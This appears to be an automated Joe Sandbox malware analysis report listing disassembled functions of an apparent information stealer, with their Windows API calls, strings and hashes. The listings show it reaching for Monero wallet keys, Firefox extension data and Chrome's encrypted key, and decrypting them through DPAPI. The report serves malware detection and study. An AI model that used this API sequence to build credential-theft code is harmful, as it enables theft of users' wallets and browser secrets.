GetSystemInfo.KERNEL32(?), ref: 6C5BC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5BC969
GetSystemInfo.KERNEL32(?), ref: 6C5BC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5BC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5BC9E2

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction ID: ee57ad9629ccca4bbce986a2f7b66707ca0dbbf25c9cb405b823373fd64a2c64
Opcode Fuzzy Hash: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction Fuzzy Hash: 1721D731741218ABEB14AA29CCD4BAE77B9EB86744F50051EF943B7A40EB707C04879D

Function 001378A0 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001378D7
RtlAllocateHeap.NTDLL(00000000), ref: 001378DE
RegOpenKeyExA.KERNEL32(80000002,011EC180,00000000,00020119,?), ref: 001378FE
RegQueryValueExA.KERNEL32(?,011FD8D0,00000000,00000000,000000FF,000000FF), ref: 0013791F
RegCloseKey.ADVAPI32(?), ref: 00137932

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 02e445c57efd7c407736466076726eae0523abb9884d0e38cd5272b2344bfbca
Instruction ID: 581ff281b863c55b54f0bc11b0dde4cb3fddaf8a604f687c0aea9f54548188bf
Opcode Fuzzy Hash: 02e445c57efd7c407736466076726eae0523abb9884d0e38cd5272b2344bfbca
Instruction Fuzzy Hash: 2E1191B5A44209EFD714CF94DD45F7BBB7CFB49B20F104219F605AB280DB7468008BA0

Function 001212A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001212B4
RtlAllocateHeap.NTDLL(00000000), ref: 001212BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 001212D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001212F5
RegCloseKey.ADVAPI32(?), ref: 001212FF

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 8e4a3f7c38df0806832e57c5bbf8368c5c21112b90751db8bfe94ff46e4fd67c
Instruction ID: 893d5de6e913d8a9ed5ed4d0e77545a44a64e875f1f10c70db6b8f01a16f56ae
Opcode Fuzzy Hash: 8e4a3f7c38df0806832e57c5bbf8368c5c21112b90751db8bfe94ff46e4fd67c
Instruction Fuzzy Hash: 4B01E1B9A40208BFDB14DFE4DC49FAEB77DEB48701F104158FA059B280DB75AA05CB50

Function 00129FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(011F90E0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0012A00D
LoadLibraryA.KERNEL32(011FD9F0), ref: 0012A096

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A1F0: lstrlen.KERNEL32(00124F55,?,?,00124F55,00140DC6), ref: 0013A1FB
Part of subcall function 0013A1F0: lstrcpy.KERNEL32(00140DC6,00000000), ref: 0013A255

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

SetEnvironmentVariableA.KERNEL32(011F90E0,00000000,00000000,?,00141290,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00140AE6), ref: 0012A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0012A002, 0012A016, 0012A02C

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 78ef4b5f4f8b219d3094ee7c8ac6f6bee7065ab71ddc870fe6ab53317098d40f
Instruction ID: 7243e8b493b2ec56066fb526a427fd714ace4bbcc4199b4baf085424a41ce892
Opcode Fuzzy Hash: 78ef4b5f4f8b219d3094ee7c8ac6f6bee7065ab71ddc870fe6ab53317098d40f
Instruction Fuzzy Hash: D5418F79922104AFC756DBA4FC55FAE37BCFB1A301F441018F5059A2A0EF716998CB61

Function 0012A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Part of subcall function 00138600: GetSystemTime.KERNEL32(00140E02,011FA5E0,0014059E,?,?,001213F9,?,0000001A,00140E02,00000000,?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 00138626

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0012A231
lstrlen.KERNEL32(00000000), ref: 0012A5EA

Part of subcall function 00129E60: LocalAlloc.KERNEL32(00000040,?), ref: 00129EFE

lstrlen.KERNEL32(00000000,00000000), ref: 0012A32D
DeleteFileA.KERNEL32(00000000), ref: 0012A671

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTime
String ID:
API String ID: 3104408854-0
Opcode ID: 8c484921d7666e58e810b226b15d4986a9d156b6762438d7365484a04781ca1a
Instruction ID: 8fd90ed8d73444a10f19445be31f07ba3f5707a3da33f7e5dc87a8fa5a24361c
Opcode Fuzzy Hash: 8c484921d7666e58e810b226b15d4986a9d156b6762438d7365484a04781ca1a
Instruction Fuzzy Hash: 00D19C728101189BCB15FBA4DC96EEE773CAF64300F908159F557760A2EF716A4CCBA2

Function 0012D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Part of subcall function 00138600: GetSystemTime.KERNEL32(00140E02,011FA5E0,0014059E,?,?,001213F9,?,0000001A,00140E02,00000000,?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 00138626

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0012D641
lstrlen.KERNEL32(00000000), ref: 0012D7DF
lstrlen.KERNEL32(00000000), ref: 0012D7F3
DeleteFileA.KERNEL32(00000000), ref: 0012D872

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9109710264f5e355bfb9cf141ed24e11358c0e7d89bfc96a59bacad9fd4cf861
Instruction ID: 30f857b6d0a25acabfbe84f62020c4ae04bd4555b977bc7eef5ac04da1366e46
Opcode Fuzzy Hash: 9109710264f5e355bfb9cf141ed24e11358c0e7d89bfc96a59bacad9fd4cf861
Instruction Fuzzy Hash: 9981E1729101189BCB05FBA4DC96EEE773CBF64304F804529F547660A1EF747A48CBA2

Function 0012F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Part of subcall function 00129A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00129A3C
Part of subcall function 00129A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00129A61
Part of subcall function 00129A10: LocalAlloc.KERNEL32(00000040,?), ref: 00129A81
Part of subcall function 00129A10: ReadFile.KERNEL32(000000FF,?,00000000,0012148F,00000000), ref: 00129AAA
Part of subcall function 00129A10: LocalFree.KERNEL32(0012148F), ref: 00129AE0
Part of subcall function 00129A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00129AEA

Part of subcall function 001388D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001388F2

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00141524,00140D7A), ref: 0012F38C
lstrlen.KERNEL32(00000000), ref: 0012F3AB

Strings

moz-extension+++, xrefs: 0012F3ED
^userContextId=4294967295, xrefs: 0012F3DC

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 472db8f75647a57c3dc5735c0b6d4ab0dd102633fd4895b97f0446eda2d8a7fc
Instruction ID: b2a36157eb56bc0dd29b6cd850f8237d18d1fed642e36e1318520afbc41fd461
Opcode Fuzzy Hash: 472db8f75647a57c3dc5735c0b6d4ab0dd102633fd4895b97f0446eda2d8a7fc
Instruction Fuzzy Hash: D051C075D10208AACB04FBA4EC56DFE777CAF64300F808528F85667191EF746A1CCBA2

Function 00129D30 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 00129A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00129A3C
Part of subcall function 00129A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00129A61
Part of subcall function 00129A10: LocalAlloc.KERNEL32(00000040,?), ref: 00129A81
Part of subcall function 00129A10: ReadFile.KERNEL32(000000FF,?,00000000,0012148F,00000000), ref: 00129AAA
Part of subcall function 00129A10: LocalFree.KERNEL32(0012148F), ref: 00129AE0
Part of subcall function 00129A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00129AEA

Part of subcall function 001388D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001388F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00129D89

Part of subcall function 00129B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00124F3E,00000000,00000000), ref: 00129B3F
Part of subcall function 00129B10: LocalAlloc.KERNEL32(00000040,?,?,?,00124F3E,00000000,?), ref: 00129B51
Part of subcall function 00129B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00124F3E,00000000,00000000), ref: 00129B7A
Part of subcall function 00129B10: LocalFree.KERNEL32(?,?,?,?,00124F3E,00000000,?), ref: 00129B8F

Part of subcall function 00129BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00129BD4
Part of subcall function 00129BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00129BF3
Part of subcall function 00129BB0: LocalFree.KERNEL32(?), ref: 00129C23

Strings

"encrypted_key":", xrefs: 00129D80
DPAPI, xrefs: 00129DD9
, xrefs: 00129E11

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
